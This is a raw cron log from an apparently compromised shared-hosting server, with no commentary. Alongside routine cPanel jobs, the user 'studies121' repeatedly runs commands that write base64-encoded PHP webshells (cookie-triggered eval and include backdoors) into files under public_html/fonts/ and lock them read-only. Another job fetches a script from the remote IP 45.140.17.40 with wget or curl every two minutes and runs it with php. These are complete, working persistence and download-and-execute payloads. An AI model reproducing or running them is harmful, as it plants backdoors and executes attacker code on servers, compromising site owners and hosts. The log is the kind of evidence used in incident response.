Sep  8 22:56:01 ip-184-168-122-23 CROND[4489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:56:01 ip-184-168-122-23 CROND[4492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:56:01 ip-184-168-122-23 CROND[4491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:56:01 ip-184-168-122-23 CROND[4495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:56:01 ip-184-168-122-23 CROND[4496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:57:01 ip-184-168-122-23 CROND[4575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:57:01 ip-184-168-122-23 CROND[4574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:57:01 ip-184-168-122-23 CROND[4576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:57:01 ip-184-168-122-23 CROND[4577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:58:01 ip-184-168-122-23 CROND[4653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:58:01 ip-184-168-122-23 CROND[4655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:58:01 ip-184-168-122-23 CROND[4657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:58:01 ip-184-168-122-23 CROND[4656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:58:01 ip-184-168-122-23 CROND[4658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:59:01 ip-184-168-122-23 CROND[4830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:59:01 ip-184-168-122-23 CROND[4832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:59:01 ip-184-168-122-23 CROND[4831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:59:01 ip-184-168-122-23 CROND[4833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:00:01 ip-184-168-122-23 CROND[4928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:00:01 ip-184-168-122-23 CROND[4926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:00:01 ip-184-168-122-23 CROND[4930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:01:01 ip-184-168-122-23 CROND[5024]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 23:01:01 ip-184-168-122-23 CROND[5025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:01:01 ip-184-168-122-23 CROND[5026]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:01:01 ip-184-168-122-23 CROND[5028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:01:01 ip-184-168-122-23 CROND[5027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:01:01 ip-184-168-122-23 CROND[5029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5024]: starting 0anacron
Sep  8 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5046]: finished 0anacron
Sep  8 23:02:01 ip-184-168-122-23 CROND[5148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:02:01 ip-184-168-122-23 CROND[5153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:02:01 ip-184-168-122-23 CROND[5154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:02:01 ip-184-168-122-23 CROND[5157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:02:01 ip-184-168-122-23 CROND[5158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:03:01 ip-184-168-122-23 CROND[5265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:03:01 ip-184-168-122-23 CROND[5267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:03:01 ip-184-168-122-23 CROND[5268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:03:01 ip-184-168-122-23 CROND[5271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:04:01 ip-184-168-122-23 CROND[5435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:04:01 ip-184-168-122-23 CROND[5434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:04:01 ip-184-168-122-23 CROND[5439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:04:01 ip-184-168-122-23 CROND[5440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:04:01 ip-184-168-122-23 CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:05:01 ip-184-168-122-23 CROND[5531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:06:01 ip-184-168-122-23 CROND[5616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:06:01 ip-184-168-122-23 CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:06:01 ip-184-168-122-23 CROND[5618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:06:01 ip-184-168-122-23 CROND[5620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:06:01 ip-184-168-122-23 CROND[5621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:07:01 ip-184-168-122-23 CROND[5709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 23:07:01 ip-184-168-122-23 CROND[5710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 23:07:01 ip-184-168-122-23 CROND[5711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:07:01 ip-184-168-122-23 CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:08:01 ip-184-168-122-23 CROND[5798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 23:08:01 ip-184-168-122-23 CROND[5800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
